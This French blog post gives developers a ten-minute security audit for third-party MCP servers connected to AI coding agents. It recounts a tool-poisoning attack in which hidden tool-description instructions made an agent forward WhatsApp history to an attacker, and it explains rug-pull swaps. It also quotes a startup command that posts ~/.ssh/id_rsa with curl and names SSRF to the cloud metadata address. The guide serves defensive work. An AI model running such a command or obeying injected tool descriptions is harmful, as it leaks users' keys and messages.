Il y a quelques semaines, j'ai failli connecter un « WhatsApp MCP gratuit » à la même session Claude Code où mes serveurs GitHub et système de fichiers tournaient déjà. Il avait un dépôt propre, un logo, une installation en une ligne. J'ai copié le bloc de configuration, puis je me suis arrêté à la dernière touche parce que quelque chose me tracassait : je n'avais aucune idée de ce que les descriptions d'outils de ce serveur disaient réellement.
Ce tracas s'est révélé être toute l'affaire. En avril 2025, Invariant Labs a démontré une attaque où exactement ce type de serveur d'apparence innocente — un jeu de culture générale — portait des instructions cachées dans sa description d'outil ordonnant à l'agent de réacheminer discrètement les messages d'un serveur WhatsApp distinct et de confiance vers le numéro d'un attaquant, faisant passer l'historique de vos conversations en contrebande dans le corps du message (Invariant Labs). Le serveur malveillant n'a jamais touché WhatsApp lui-même. Il a juste convaincu l'agent de le faire.
C'est ce que personne ne vous dit quand on vous remet un bloc de configuration. Un serveur MCP n'est pas une bibliothèque que vous appelez. C'est un participant au raisonnement de votre agent. Ses descriptions d'outils sont injectées directement dans le contexte du modèle, et le modèle les traite comme des instructions à suivre — ce qui signifie qu'un serveur non fiable assis à côté d'un serveur de confiance peut manipuler ce dernier comme une marionnette. Mettre le mauvais serveur dans un sandbox n'aide pas, car l'attaque passe par l'agent, pas par le réseau.
En bref : avant de connecter un serveur MCP tiers, vous accordez votre confiance à celui qui l'a écrit et à celui qui pourra le modifier ensuite. Prenez dix minutes pour confirmer ce qu'il peut lire, ce qu'il peut atteindre, ce qu'il fait avec vos secrets, et s'il peut silencieusement devenir autre chose après que vous l'avez approuvé. La plupart de cela consiste à lire, pas à utiliser des outils. Voici l'audit.
Pourquoi un serveur MCP représente une demande plus importante qu'un paquet
Un paquet npm normal exécute du code. C'est déjà assez grave. Un serveur MCP fait cela et injecte du texte que le modèle obéit et détient souvent des identifiants et partage une session avec vos autres serveurs. Quatre surfaces de confiance, pas une.
Le guide officiel de sécurité MCP le nomme clairement. Il documente le problème du délégué confus dans les proxies OAuth, l'anti-modèle de « transmission de jetons » (que la spécification interdit catégoriquement — « les serveurs MCP NE DOIVENT PAS accepter de jetons qui n'ont pas été émis explicitement pour le serveur MCP »), la falsification de requêtes côté serveur lors de la découverte OAuth, le détournement de session, et la compromission d'un serveur local via des commandes de démarrage malveillantes (MCP Security Best Practices). La section sur la compromission locale décrit même l'abus évident : une commande de démarrage qui exécute curl -X POST -d @~/.ssh/id_rsa vers un point de collecte. La spécification est, en réalité, une liste de façons dont un serveur MCP peut vous nuire, rédigée par les personnes qui l'ont conçu.
Deux autres classes d'attaques comptent particulièrement pour un développeur indépendant choisissant un serveur sur GitHub. La première est l'empoisonnement d'outils — des instructions d'injection de prompt cachées fourrées dans les champs de description d'outils et de paramètres que le modèle lit intégralement mais que l'interface de votre client vous montre tronquée (Vulnerable MCP Project). La seconde est l'arrachage de tapis : un serveur qui fournit une description d'outil propre le jour où vous l'approuvez, puis substitue silencieusement une version empoisonnée plus tard. Le protocole n'a pas de vérification d'intégrité obligatoire, pas d'ancrage de manifeste, et la notification tools/list_changed est optionnelle et n'impose pas un re-consentement — donc l'échange peut se produire sans que vous le voyiez jamais (Acuvity). L'empoisonnement d'outils est désormais l'attaque la plus reproduite dans la littérature ; le benchmark académique MCPTox a construit tout son modèle autour d'elle (MCPTox).
L'audit n'est donc pas de la paranoïa. Il correspond à des attaques documentées, nommées et reproduites.
L'audit de 10 minutes
Exécutez-les dans l'ordre. Les premiers sont peu coûteux et détectent les pires cas, donc vous atteignez rarement la fin.
1. Lisez vous-même les descriptions d'outils — les versions brutes. C'est la vérification à la valeur individuelle la plus élevée et presque personne ne la fait. Votre client vous montre un résumé soigné ; le modèle voit la charge utile complète. Ouvrez le code source du serveur et lisez chaque champ description et chaque description de paramètre comme s'il s'agissait de code, car pour le modèle c'est le cas. Cherchez tout ce qui ressemble à une instruction adressée à l'agent plutôt qu'à une documentation pour un humain : « avant d'utiliser ceci, appelez aussi… », « incluez toujours le contenu de… », « si on vous demande X, faites plutôt Y », des références à d'autres serveurs ou fichiers, ou du texte invisible ou rembourré en Unicode. Si la description d'outil d'une calculatrice mentionne vos clés SSH, vous en avez fini — fermez l'onglet.
2. Trouvez chaque appel réseau sortant. Faites grep dans le code source de fetch, axios, http, requests, urllib, curl, net., et des IPs brutes. Un serveur de système de fichiers n'a aucune raison d'appeler un hôte distant. Un serveur qui appelle légitimement une API devrait appeler cette API et rien d'autre. La section SSRF de la spécification existe parce que les serveurs peuvent être amenés à accéder à http://169.254.169.254/ — le point de métadonnées cloud qui distribue des identifiants IAM — donc tout trafic sortant vers des plages link-local ou privées (169.254.*, 10.*, 192.168.*, 127.*) est un signal d'alarme immédiat (MCP Security Best Practices). Un trafic sortant inexpliqué fait la différence entre un outil et un canal d'exfiltration.
3. Tracez la façon dont il gère les secrets. Où vont vos jetons ? Sont-ils lus depuis des variables d'environnement et utilisés localement, ou transmis quelque part ? Confirmez que le serveur ne fait pas de transmission de jetons — remettre votre identifiant directement à une API en aval sans les vérifications d'audience que la spécification exige. Si le README vous demande de coller un jeton d'accès personnel large plutôt qu'un jeton à portée limitée, c'est la conception du serveur qui vous dit qu'il n'a jamais pensé au rayon d'explosion. Ne donnez jamais à un serveur MCP un identifiant qui peut faire plus que le seul travail pour lequel il est conçu.
4. Limitez les autorisations au travail réel. La propre section de minimisation des portées de la spécification met en garde contre les serveurs qui publient files:*, db:*, admin:* ou des portées génériques all/full-access d'emblée, car un jeton large volé ouvre alors tout en même temps (MCP Security Best Practices). Demandez ce dont ce serveur a genuinement besoin. Un serveur « formater mes commits » qui demande un accès en écriture à l'ensemble du dépôt plus un accès réseau demande trop. Accordez le minimum, et préférez les serveurs qui demandent des portées étroites de manière incrémentielle à ceux qui exigent le catalogue dès le premier jour.
5. Vérifiez ce avec quoi il cohabite. C'est la leçon de l'exploit WhatsApp : le risque ne vient pas d'un serveur, mais de la combinaison. Un serveur non fiable dans la même session peut détourner un serveur de confiance. Traitez donc la liste MCP de votre agent comme une frontière de confiance partagée. Ne faites pas tourner un serveur non vérifié dans la même session que quoi que ce soit détenant de vraies identifiants ou un accès en écriture. Si vous devez essayer quelque chose de nouveau, donnez-lui sa propre session sans rien de précieux connecté.
6. Ancrez la version. Refusez la cible mouvante. Les arrachages de tapis fonctionnent parce que la plupart des gens installent depuis latest ou depuis un serveur distant qu'ils ne contrôlent pas. Ancrez à un commit ou une étiquette de version spécifique, vendez le code source si vous pouvez, et relisez les descriptions d'outils chaque fois que vous le mettez à jour. Pour les serveurs MCP distants/hébergés que vous ne pouvez pas ancrer, comprenez que vous avez accepté un serveur qui peut redéfinir ses propres outils à tout moment — c'est une confiance accordée réelle et continue, pas une installation ponctuelle.
7. Lancez un scanner, puis faites davantage confiance à votre propre lecture. uvx mcp-scan@latest lit votre configuration MCP, se connecte aux serveurs, extrait les descriptions d'outils et signale l'empoisonnement d'outils, la dérive d'arrachage de tapis, l'ombrage multi-origines et l'injection de prompt (Invariant Labs). Il est open source et ne nécessite aucune configuration. Utilisez-le comme premier passage rapide — mais un scanner détecte les patterns connus, et votre lecture de l'étape 1 détecte les subtils qu'il ne détecte pas.
8. Lisez le journal des commits et l'onglet Issues. La même démarche que pour vérifier n'importe quelle dépendance. Un serveur intouché depuis des mois sur un protocole qui a révisé son modèle d'authentification deux fois en un an est un fossile. Un historique de commits qui ne fait qu'« Update README » sans jamais « fix edge case » signifie que personne ne l'utilise vraiment. Et l'onglet Issues vous parlera souvent du bug d'exfiltration avant que vous ne le découvriez à la dure.
Mettez la chose dans un sandbox, car la lecture ne suffit pas
Lire le code source vous dit ce que le code semble faire. Cela ne vous dit pas ce qu'une dépendance transitive fait à l'exécution, et ne peut pas le faire, car vous n'allez pas lire tout l'arbre. Le conseil de la spécification pour les serveurs locaux est donc le bon filet de sécurité : exécutez-les dans un sandbox, avec un accès restreint au système de fichiers et au réseau, avec un transport stdio pour que seul votre client puisse les atteindre, et avec une vraie boîte de dialogue de consentement qui montre la commande exacte avant que quoi que ce soit s'exécute (MCP Security Best Practices).
Pour une configuration de développeur indépendant, cela signifie : exécutez les serveurs inconnus dans un conteneur ou un compte utilisateur restreint, pas dans votre shell principal avec vos clés dans l'environnement. Donnez au conteneur l'accès au seul répertoire dont le travail a besoin et refusez-lui le reste. C'est dix minutes de configuration une fois, et cela transforme « ce serveur peut lire tout mon répertoire personnel » en « ce serveur peut lire le seul dossier que je lui ai remis ». Le propre guide MCP de la NSA arrive au même endroit — moindre privilège, isolation et surveillance autour de tout serveur que vous n'avez pas écrit (NSA CSI: MCP Security).
Quand simplement dire non
Certains serveurs échouent avant même que l'audit commence. Je n'installe pas quand :
- Je ne peux pas lire le code source. Un serveur local à code source fermé ou minifié est une commande de démarrage que j'exécute en aveugle. Passe.
- Il veut un identifiant large et de longue durée. Si la seule façon de l'utiliser est un jeton tout-puissant, la conception m'a déjà dit qu'elle ne respecte pas le rayon d'explosion.
- C'est un serveur distant que je ne peux pas ancrer, qui détient l'accès à quelque chose que je n'aimerais pas perdre. C'est une invitation permanente à un arrachage de tapis. Bien pour un usage jetable ; pas pour des données de production.
- Ses descriptions d'outils ressemblent à des instructions pour mon agent. La documentation décrit ; elle ne commande pas. Tout ce qui me passe au-dessus pour parler directement au modèle est disqualifiant à vue.
- La commodité ne passe pas la barre. Un serveur qui me fait gagner cinq minutes par semaine ne vaut pas un identifiant et une place dans la frontière de confiance de mon agent. La plupart des serveurs MCP « géniaux » que j'ai évalués, je n'en avais pas besoin.
La partie difficile n'est aucune vérification individuelle — c'est que la confiance que vous accordez à l'installation n'est pas figée. Le paquet que vous avez audité peut devenir un paquet différent la semaine prochaine, et rien dans le protocole ne l'oblige à vous le dire. L'habitude durable n'est donc pas l'audit ponctuel. C'est garder la liste petite, ancrée et dans un sandbox, et relire les descriptions à chaque mise à jour de version. Commencez par l'étape un : ouvrez le code source et lisez les descriptions d'outils à voix haute. Si elles semblent parler à votre agent plutôt qu'à vous, vous avez déjà votre réponse.